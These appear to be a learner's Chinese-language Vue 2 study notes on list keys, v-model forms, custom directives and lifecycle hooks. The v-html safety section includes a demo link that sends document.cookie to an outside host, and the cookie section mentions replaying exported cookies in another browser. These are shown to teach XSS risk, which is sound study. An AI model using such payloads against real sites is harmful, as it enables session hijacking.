12-列表渲染
vue监测数据的原理几节没学
vue借鉴了MVVM模型
1、面试题:react、vue中的key有什么作用?
(key的内部原理),在列表渲染一节当中
<div id="root">
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
]
}
})
</script>
特别注意<li v-for="(p,index) of persons" :key="index">
和<li v-for="p of persons"> 比起来多了一个key,key就是persons每个对象的唯一标识 ,index默认就是遍历时的索引值,所以说key可以是它。注意固定标准是(每一项的值,每一项的key)
in和of都可以,即p in persons
下面对代码完善,来解释使用上面那句代码当中使用index的缺陷
js 常用函数 push()、pop()、shift()、unshift()、slice()、splice() 等_js shift-CSDN博客
<div id="root">
<!-- @click.once表示按钮是一次性的 -->
<h2>人员列表(遍历数组)</h2>
<button @click.once="add">添加一个老刘</button>
<ul>
<li v-for="(p,index) of persons" :key="index">
<!-- <li v-for="(p,index) of persons" :key="p.id"> -->
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
]
},
methods: {
add(){
const p = {id:'004',name:'老刘',age:40}
// 在js语句当中 unshift:将新项添加到数组起始位置
this.persons.unshift(p)
}
},
})
</script>
其页面如下,然后在文本框中输入数据如下右图
然后点击按钮,在首部添加 “老刘” 如下,发下输入框中的内容错位了
其原因如下:index的值来决定key,是根据遍历时的顺序判断的,所以说在破坏原有顺序以后,老刘的key虽然是004,但是被index变成了0
但是当使用p.id作为key时,即上面代码注释掉的一行,结果正常
下面是原因:
使用p.id不会改变key值,说的是004,添加的老刘key就是004。
2、vue数据检查原理解析
v-model、v-bind和v-on三大指令的区别 - 掘金 (juejin.cn)
3、收集表单数据
虽然之前第三节当中v-model已经学习量双向数据绑定,但是对于不同的控件,使用方法有区别
若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
所以说和下面的例子保持一致,value要写,v-model在script对于代码当中的hobby需要 是数组格式
备注:v-model的三个修饰符:
lazy:失去焦点再收集数据,即关闭实时自动数据收集
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
所以说text、radio、checxbox的写法如下
<div id="root">
//点击提交按钮后会提交数据然后刷新页面,prevent可以阻止该默认事件发生
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female">
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
</form>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
sex:'female',
hobby:[],
other:''
}
},
methods: {
demo(){
//提交时数据存储在_data中,可以直接输出this._data
// (如果上面的数据没写在userinfo当中,只能说一般不使用_data),所以说也可以如下
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
text和radio都简单,即text不写value在表单中,用户输入的就自动是value的值
radio需要设置value,来判断用户选择的是谁
checxbox中,因为有多条数据必须使用数组格式即 [ ] ,控制台运行结果如下
对于v-model的修饰符:以年龄为例,其应该是数组number,而非字符串,
即使type="number"且data中给初始值18,但是在用户修改初始值18后,在控制台中
//对类型限制输入是number后,还需要限制v-model修饰符是number.输入3p1显示是3
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
4、cookie工作原理
就是通过cookie来身份认证,用户登录了一次,下次因为保存了服务器返回的cookie,下次直接进入,不需要登录。
下面是某网站登陆成功后的cookie
破解cookie方法,使用插件Cookie-Editor便可以方便的导出上面的cookie,然后重新弄到另一个浏览器的该网站上面,有安全性问题
v-html安全性问题:因为v-html是直接渲染html,在如下例子当中:
首先可以看到v-html和v-text的区别,一个是强制显示为字符串,一个是可以解析html代码的用户点击链接后,因为链接后面有document.cookie,如果没有在上图打勾处设置,那么就可以被他人获取到cookie信息
<body>
<div id="root">
<div v-text="str"></div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
5、自定义指令
例如vue内置的指令v-show是通过操纵div的display属性,从而控制元素是否显示
所以说自定义指令也类似,需要通过某个办法来操作DOM
例子:
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
定义仍然是在Vue当中,如下(注意定义是big,使用是v-big。以下是部分代码,不全)
<div id="root">
<h2>当前的n值是:<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
</div>
new Vue({
el:'#root',
data:{
n:1
},
directives:{
big(element,binding){
console.log(element,binding)
}
}
})
特别注意big内置的两个参数,element先不管,就是一个真实的DOM元素,毕竟指令就是来操作DOM元素的。
对于binding如下
链接原理后,所以说修改案例代码如下
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
</div>
new Vue({
el:'#root',
data:{
name:'尚硅谷',
n:1
},
directives:{
big(element,binding){
element.innerText = binding.value * 10
}
}
})
注释:点击按钮发现n和放大十倍的都同时变化,那么big函数被调用的条件是什么?
big函数何时会被调用:
1.指令与元素成功绑定时(一上来一开始时,注意绑定在渲染之前发生)。
2.指令所在的模板被重新解析时(即不止是在n被修改时,就算是上面的name被修改也会调用big函数)。
然后是需求二:
如果直接和上面一样的写法,会发现在刚进入页面时,焦点不会自动到输入框上。
但是数据更新后焦点又在输入框中,函数的触发条件如上。
但是成功绑定且还未渲染数据到页面上时,是先绑定,在渲染。具体原因见前端笔记第6条
<div id="root">
<h2>当前的n值是:<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<input type="text" v-fbind:value="n">
</div>
new Vue({
el:'#root',
data:{
n:1
},
directives:{
big(element,binding){
element.innerText = binding.value * 10
},
fbind(element,binding){
element.value = binding.value
element.focus()
}
})
主要是因为也需要上面的div被渲染后执行焦点的代码才有效,但是<div></div>当中只是模板,不需要在vue相关代码后才会被渲染,所以说fbind不能写成在vue当中的函数形式,因为函数形式不能把绑定、插入渲染、更新分开。更新代码如下
fbind:{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
//element.focus()
}
}
上面fbind就是钩子三兄弟(后面有详解)
不难发现上面的big只是自定义指令的简写模式;bind和update的内容很相近;涉及焦点、父元素相关内容需要配使用到inserted
6、Vue生命周期
生命周期:
1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
4.生命周期函数中的this指向是vm 或 组件实例对象。
初识:vue的生命周期有很多过程,每个过程都有对应的函数可以调用
下图中每个红色框都是具体的生命周期函数、绿色是具体的流程,蓝色是解释。
以mounted挂载(钩子)函数最重要。
第一个正方形大框当中的template组件在后面信息讲解。
总结:总共有四对生命周期钩子:
1、(数据监测、数据代理的)创建之前和创建完毕
2、挂载之前和挂载完毕
3、更新之前和更新完毕
4、销毁之前和销毁完成
在代码当中第二个文件可以执行查看具体的顺序,方便理解
注意销毁只是销毁vm,而对于其他的例如输出语句,定时器之类的不会被销毁
在第三个代码当中:
停止变换的stop函数调用了生命周期的销毁$destroy()方法,但是此时定时器仍然在工作,只是销毁了vm。所以说在beforeDestroy()中,即在销毁vm之前就把定时器停止。
//挂载完成后就显示DOM到页面上,然后点击停止就销毁定时器和vm
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
opacity:1
},
methods: {
stop(){
this.$destroy()
}
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted(){
console.log('mounted',this)
this.timer = setInterval(() => {
console.log('setInterval')
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
beforeDestroy() {
clearInterval(this.timer)
console.log('vm即将驾鹤西游了')
},
})
</script>
下面是调试的图,代码当中用debugger()隔断就好